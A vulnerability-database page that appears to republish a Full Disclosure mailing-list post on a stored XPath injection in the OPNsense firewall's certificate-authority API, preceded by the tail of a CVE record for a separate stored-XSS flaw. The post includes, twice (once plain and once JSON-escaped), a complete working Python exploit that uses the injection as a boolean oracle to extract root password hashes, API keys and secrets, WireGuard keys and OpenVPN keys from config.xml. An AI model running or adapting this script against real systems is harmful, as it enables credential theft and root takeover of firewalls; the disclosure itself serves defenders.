"timestamp": "2026-10-20T02:43:46.164395Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-20T02:44:08.318Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-26cj-h9rj-g5pf"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the OpenVPN connection-status dashboard widget in src/opnsense/www/js/widgets/OpenVPNClients.js and the connection-status view place a client common_name into data-common-name attributes without quote-safe encoding. Exploitation requires an OpenVPN server configured with username-as-common-name and RADIUS or LDAP authentication, plus the ability to provision or self-register a valid backend username containing a double quote; deployments where the same administrator controls both the identity backend and firewall do not cross a separate trust boundary. An authenticated client using that username can close the attribute and add an event handler, while the local user database is not affected because its username validator rejects quotes. Script executes in an administrator\u0027s session when the administrator opens the dashboard or connection-status page and the injected event is triggered; the demonstrated payload used pointer movement over the client row rather than unconditional page-load execution. The advisory demonstrates that the script can read config.xml, invoke privileged APIs, reset the root password, and obtain root command execution. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:21:09.883Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-26cj-h9rj-g5pf",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-26cj-h9rj-g5pf"
},
{
"name": "https://github.com/opnsense/core/commit/11180daf579879d84d91a7fbea7a59320bc80868",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/11180daf579879d84d91a7fbea7a59320bc80868"
},
{
"name": "https://github.com/opnsense/core/commit/e7b2ac8093f804bef8eb88dfa9a0d99fad00c12b",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/e7b2ac8093f804bef8eb88dfa9a0d99fad00c12b"
}
],
"source": {
"advisory": "GHSA-26cj-h9rj-g5pf",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Stored XSS to root RCE via OpenVPN client common_name in status views"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58390",
"datePublished": "2026-10-15T15:21:09.883Z",
"dateReserved": "2026-06-30T18:19:58.377Z",
"dateUpdated": "2026-10-20T02:44:08.318Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0517
Vulnerability from gna-1988 – Published: 2026-11-02 08:44 – Updated: 2026-11-02 08:44
VLAI
EPSS
VEX
Title
OPNsense XPATH Injection (CVE-2026-53582)
Summary
SUMMARY: a stored XPATH injection allows any user with just ca
manager/certificate manager perms to leak any secret key/any value in
config.xml, thus achieving privilege escalation and potentially remote
code execution. this can also likely be chained via csrf and some
clever hiding. see
https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r
== VULN ==
the primary vulnerable sink is here:
$refcount = count(Config::getInstance()->object()->xpath("//*[text() =
'{$node->refid}']")) - 1;
as we control node->refid, which can be seen in here:
protected function setBaseHook($node)
{
if (empty((string)$node->refid)) {
$node->refid = uniqid();
}
$error = false;
if (!empty((string)$node->prv_payload)) {
/** private key manually offered */
$node->prv = base64_encode((string)$node->prv_payload);
}
we know that if refid is empty it'll be a uniqid - which means its
meant to be alphanumeric. notably, there are no preg_match/regex
matches that check whether or not a user supplied refid isnt
alphanumeric. in this case, we can now test this by hitting this
endpoint:
POST /api/trust/ca/add HTTP/12.1
Content-Type: application/x-www-form-urlencoded
ca[refid]=<payload>&ca[descr]=hi+lol&ca[action]=internal&ca[commonname]=hey&ca[key_type]=2048&ca[digest]=sha256&ca[lifetime]=825&ca[country]=NL&ca[state]=idk&ca[city]=lo&ca[organization]=x&ca[email]=asdf
() example com
to truly exploit this we can write a script that turns the xpath
injection we have into a decent boolean oracle, then slowly leak each
character. for example, an openvpn private key or a root password
hash.
== xp ==
import argparse
import string
import sys
import random
import threading
from concurrent.futures import ThreadPoolExecutor
from queue import Queue
import requests
import urllib3
urllib3.disable_warnings()
# yeah idk dude iiwiw lol
targs = {
"wgppk": "//OPNsense/wireguard/server/servers/server/privkey",
"wgpsk": "//OPNsense/wireguard/client/clients/client/psk",
"hasyncpw": "//hasync/password",
"roothash": "//system/user/password",
"rootkey": "//system/user/apikeys/item/key",
"rootsecret": "//system/user/apikeys/item/secret",
"openvpnkey": "//OPNsense/OpenVPN/Instances/Instance/key"
}
cset = sorted(set(string.ascii_letters + string.digits + "+/=$._-:; "))
# print("".join(cset))
makecanary = lambda: f"__TUNG_{random.randint(100000, 999999)}__"
total = 0
lock = threading.Lock()
# mega ass
def sesh(a):
s = requests.Session()
s.auth = a
s.verify = False
return s
def prober(s, base, n):
canary = makecanary()
r = s.post(f"{base}/api/trust/ca/add", data={
"ca[refid]": canary, "ca[descr]": f"p{n}",
"ca[action]": "internal", "ca[commonname]": f"p{n}",
}, timeout=30)
return r.json().get("uuid", "n/a"), canary
def inj(s, base, ca_uuid, nx, condition):
global total
payload = f"{nx}' or ({condition}) or 'x'='"
s.post(
f"{base}/api/trust/ca/set/{ca_uuid}",
data={"ca[refid]": payload},
timeout=30,
)
r = s.get(f"{base}/api/trust/ca/get/{ca_uuid}", timeout=30)
with lock:
total += 1
ca = r.json().get("ca", {})
# refcount = int(ca["refcount"])
refcount = int(ca.get("refcount", "0"))
return refcount > 0
def getlen(s, base, ca, nx, xpath):
lo, hi = 0, 300
while lo < hi:
mid = (lo + hi + 1) // 2
if inj(s, base, ca, nx, f"string-length({xpath})>={mid}"):
lo = mid
else:
hi = mid - 1
return lo
def binsrch(s, base, ca, nx, xpath, pos):
cands = cset[:]
while len(cands) > 1:
midpoint = len(cands) // 2
half = "".join(cands[:midpoint])
cond = f"contains('{half}', substring({xpath},{pos},1))"
if inj(s, base, ca, nx, cond):
cands = cands[:midpoint]
else:
cands = cands[midpoint:]
c = cands[0]
if c == "'":
lit = f'"{c}"'
else:
lit = f"'{c}'"
cond = f"substring({xpath},{pos},1)={lit}"
if inj(s, base, ca, nx, cond):
return c
return None
def extract(workers, base, xpath):
s0, ca0, nx0 = workers[0]
length = getlen(s0, base, ca0, nx0, xpath)
if length == 0:
return ""
print(f"+ maybe {length} len")
result = ["?"] * length
wq = Queue()
for w in workers:
wq.put(w)
# start grabbing
def do(pos):
s, ca, nx = wq.get()
try:
return pos, binsrch(s, base, ca, nx, xpath, pos + 1)
finally:
wq.put((s, ca, nx))
with ThreadPoolExecutor(max_workers=len(workers)) as pool:
# for pos, ch in pool.map(doer_func(p), range(length)):
for pos, ch in pool.map(lambda p: do(p), range(length)):
if ch:
result[pos] = ch
sys.stdout.write(ch or "#")
sys.stdout.flush()
print()
return "".join(result)
def main():
global total
print("xray")
target_names = list(targs.keys())
target_list = "\n".join(f"{k}:{v}" for k, v in targs.items())
# i gave it a bs name
parser = argparse.ArgumentParser(
description="x-ray",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="extractables:\n" + target_list,
)
parser.add_argument("targ", help="base url")
parser.add_argument("api_key", help="you need this")
parser.add_argument("api_secret", help="this too")
parser.add_argument("target", nargs="?", default="all",
choices=target_names + ["all"], help="target to extract")
parser.add_argument("-w", "--workers", type=int, default=8,
help="how many workers in parallel")
args = parser.parse_args()
base = args.targ.rstrip("/")
auth = (args.api_key, args.api_secret)
s = sesh(auth)
r = s.get(f"{base}/api/trust/ca/search", timeout=10)
if r.status_code != 200:
print("- bro")
sys.exit(1)
print("+ oh sweet we can access the ca api")
workers = []
for i in range(args.workers):
ws = sesh(auth)
uuid, nx = prober(ws, base, i)
if not uuid:
print("creating probe failed (prober)")
sys.exit(1)
workers.append((ws, uuid, nx))
print(f"+ {args.workers} probing\n")
# extract
if args.target == "all":
targets = targs
else:
targets = {args.target: targs[args.target]}
for name, xpath in targets.items():
print(f"+ {name}")
s0, ca0, nx0 = workers[0]
if not inj(s0, base, ca0, nx0, f"boolean({xpath})"):
print("n/a")
continue
val = extract(workers, base, xpath)
print(f"{repr(val)} ({total} reqs)\n")
# finally: # nvm
# cleanup but not really beacuse im lazy
for ws, ca, nx in workers:
ws.post(f"{base}/api/trust/ca/set/{ca}", data={"ca[refid]": nx}, timeout=30)
print(f"+ done {total}")
if __name__ == "__main__":
main()
== PATCH/MITIG ==
update to 26.1.10. alternatively, add a preg_match guard and an input
mask to Ca.xml by hand (if youre about that life)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Jul/18 | technical-description |
| https://github.com/opnsense/core/security/advisor… | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Opnsense | XPATH Injection |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0517 (this record)
- related CVE-2026-53582
{
"containers": {
"cna": {
"affected": [
{
"product": "XPATH Injection",
"vendor": "Opnsense",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "evan"
}
],
"descriptions": [
{
"lang": "en",
"value": "SUMMARY: a stored XPATH injection allows any user with just ca\nmanager/certificate manager perms to leak any secret key/any value in\nconfig.xml, thus achieving privilege escalation and potentially remote\ncode execution. this can also likely be chained via csrf and some\nclever hiding. see\nhttps://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r\n\n\n== VULN ==\nthe primary vulnerable sink is here:\n\n$refcount = count(Config::getInstance()-\u003eobject()-\u003expath(\"//*[text() =\n\u0027{$node-\u003erefid}\u0027]\")) - 1;\n\nas we control node-\u003erefid, which can be seen in here:\n\n protected function setBaseHook($node)\n {\n if (empty((string)$node-\u003erefid)) {\n $node-\u003erefid = uniqid();\n }\n $error = false;\n if (!empty((string)$node-\u003eprv_payload)) {\n /** private key manually offered */\n $node-\u003eprv = base64_encode((string)$node-\u003eprv_payload);\n }\n\nwe know that if refid is empty it\u0027ll be a uniqid - which means its\nmeant to be alphanumeric. notably, there are no preg_match/regex\nmatches that check whether or not a user supplied refid isnt\nalphanumeric. in this case, we can now test this by hitting this\nendpoint:\n\nPOST /api/trust/ca/add HTTP/12.1\nContent-Type: application/x-www-form-urlencoded\n\nca[refid]=\u003cpayload\u003e\u0026ca[descr]=hi+lol\u0026ca[action]=internal\u0026ca[commonname]=hey\u0026ca[key_type]=2048\u0026ca[digest]=sha256\u0026ca[lifetime]=825\u0026ca[country]=NL\u0026ca[state]=idk\u0026ca[city]=lo\u0026ca[organization]=x\u0026ca[email]=asdf\n () example com\n\nto truly exploit this we can write a script that turns the xpath\ninjection we have into a decent boolean oracle, then slowly leak each\ncharacter. for example, an openvpn private key or a root password\nhash.\n\n\n== xp ==\n\nimport argparse\nimport string\nimport sys\nimport random\nimport threading\nfrom concurrent.futures import ThreadPoolExecutor\nfrom queue import Queue\nimport requests\nimport urllib3\n\nurllib3.disable_warnings()\n# yeah idk dude iiwiw lol\n\ntargs = {\n \"wgppk\": \"//OPNsense/wireguard/server/servers/server/privkey\",\n \"wgpsk\": \"//OPNsense/wireguard/client/clients/client/psk\",\n \"hasyncpw\": \"//hasync/password\",\n \"roothash\": \"//system/user/password\",\n \"rootkey\": \"//system/user/apikeys/item/key\",\n \"rootsecret\": \"//system/user/apikeys/item/secret\",\n \"openvpnkey\": \"//OPNsense/OpenVPN/Instances/Instance/key\"\n}\n\ncset = sorted(set(string.ascii_letters + string.digits + \"+/=$._-:; \"))\n# print(\"\".join(cset))\n\n\nmakecanary = lambda: f\"__TUNG_{random.randint(100000, 999999)}__\"\n\ntotal = 0\nlock = threading.Lock()\n\n# mega ass\ndef sesh(a):\n s = requests.Session()\n s.auth = a\n s.verify = False\n return s\n\n\ndef prober(s, base, n):\n canary = makecanary()\n r = s.post(f\"{base}/api/trust/ca/add\", data={\n \"ca[refid]\": canary, \"ca[descr]\": f\"p{n}\",\n \"ca[action]\": \"internal\", \"ca[commonname]\": f\"p{n}\",\n }, timeout=30)\n return r.json().get(\"uuid\", \"n/a\"), canary\n\n\ndef inj(s, base, ca_uuid, nx, condition):\n global total\n payload = f\"{nx}\u0027 or ({condition}) or \u0027x\u0027=\u0027\"\n s.post(\n f\"{base}/api/trust/ca/set/{ca_uuid}\",\n data={\"ca[refid]\": payload},\n timeout=30,\n )\n r = s.get(f\"{base}/api/trust/ca/get/{ca_uuid}\", timeout=30)\n with lock:\n total += 1\n ca = r.json().get(\"ca\", {})\n # refcount = int(ca[\"refcount\"])\n refcount = int(ca.get(\"refcount\", \"0\"))\n return refcount \u003e 0\n\n\ndef getlen(s, base, ca, nx, xpath):\n lo, hi = 0, 300\n while lo \u003c hi:\n mid = (lo + hi + 1) // 2\n if inj(s, base, ca, nx, f\"string-length({xpath})\u003e={mid}\"):\n lo = mid\n else:\n hi = mid - 1\n return lo\n\n\ndef binsrch(s, base, ca, nx, xpath, pos):\n cands = cset[:]\n while len(cands) \u003e 1:\n midpoint = len(cands) // 2\n half = \"\".join(cands[:midpoint])\n cond = f\"contains(\u0027{half}\u0027, substring({xpath},{pos},1))\"\n if inj(s, base, ca, nx, cond):\n cands = cands[:midpoint]\n else:\n cands = cands[midpoint:]\n\n c = cands[0]\n if c == \"\u0027\":\n lit = f\u0027\"{c}\"\u0027\n else:\n lit = f\"\u0027{c}\u0027\"\n\n cond = f\"substring({xpath},{pos},1)={lit}\"\n if inj(s, base, ca, nx, cond):\n return c\n return None\n\n\ndef extract(workers, base, xpath):\n s0, ca0, nx0 = workers[0]\n length = getlen(s0, base, ca0, nx0, xpath)\n if length == 0:\n return \"\"\n print(f\"+ maybe {length} len\")\n\n result = [\"?\"] * length\n\n wq = Queue()\n for w in workers:\n wq.put(w)\n # start grabbing\n def do(pos):\n s, ca, nx = wq.get()\n try:\n return pos, binsrch(s, base, ca, nx, xpath, pos + 1)\n finally:\n wq.put((s, ca, nx))\n\n with ThreadPoolExecutor(max_workers=len(workers)) as pool:\n # for pos, ch in pool.map(doer_func(p), range(length)):\n for pos, ch in pool.map(lambda p: do(p), range(length)):\n if ch:\n result[pos] = ch\n sys.stdout.write(ch or \"#\")\n sys.stdout.flush()\n\n print()\n return \"\".join(result)\n\n\ndef main():\n global total\n print(\"xray\")\n target_names = list(targs.keys())\n target_list = \"\\n\".join(f\"{k}:{v}\" for k, v in targs.items())\n # i gave it a bs name\n parser = argparse.ArgumentParser(\n description=\"x-ray\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n epilog=\"extractables:\\n\" + target_list,\n )\n parser.add_argument(\"targ\", help=\"base url\")\n parser.add_argument(\"api_key\", help=\"you need this\")\n parser.add_argument(\"api_secret\", help=\"this too\")\n parser.add_argument(\"target\", nargs=\"?\", default=\"all\",\nchoices=target_names + [\"all\"], help=\"target to extract\")\n parser.add_argument(\"-w\", \"--workers\", type=int, default=8,\nhelp=\"how many workers in parallel\")\n args = parser.parse_args()\n\n base = args.targ.rstrip(\"/\")\n auth = (args.api_key, args.api_secret)\n\n\n s = sesh(auth)\n r = s.get(f\"{base}/api/trust/ca/search\", timeout=10)\n if r.status_code != 200:\n print(\"- bro\")\n sys.exit(1)\n print(\"+ oh sweet we can access the ca api\")\n\n\n workers = []\n\n for i in range(args.workers):\n ws = sesh(auth)\n uuid, nx = prober(ws, base, i)\n if not uuid:\n print(\"creating probe failed (prober)\")\n sys.exit(1)\n workers.append((ws, uuid, nx))\n print(f\"+ {args.workers} probing\\n\")\n\n # extract\n if args.target == \"all\":\n targets = targs\n else:\n targets = {args.target: targs[args.target]}\n for name, xpath in targets.items():\n print(f\"+ {name}\")\n s0, ca0, nx0 = workers[0]\n if not inj(s0, base, ca0, nx0, f\"boolean({xpath})\"):\n print(\"n/a\")\n continue\n val = extract(workers, base, xpath)\n print(f\"{repr(val)} ({total} reqs)\\n\")\n # finally: # nvm\n # cleanup but not really beacuse im lazy\n for ws, ca, nx in workers:\n ws.post(f\"{base}/api/trust/ca/set/{ca}\", data={\"ca[refid]\": nx}, timeout=30)\n print(f\"+ done {total}\")\n\n\nif __name__ == \"__main__\":\n main()\n\n\n== PATCH/MITIG ==\n\nupdate to 26.1.10. alternatively, add a preg_match guard and an input\nmask to Ca.xml by hand (if youre about that life)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T08:44:17Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/18"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jul/18"
},
{
"url": "https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jul/18"
],
"discovery": "EXTERNAL"
},
"title": "OPNsense XPATH Injection (CVE-2026-53582)",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-53582",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0517",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/18",
"automated": true,
"contentSha256": "f2fd662c60bf7a79731c49d8575d20f4fef0d531037d854d1e62a37da499b1d9",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/18",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-03T10:56:32Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0517"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T08:44:17Z",
"dateUpdated": "2026-11-02T08:44:17Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0517"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}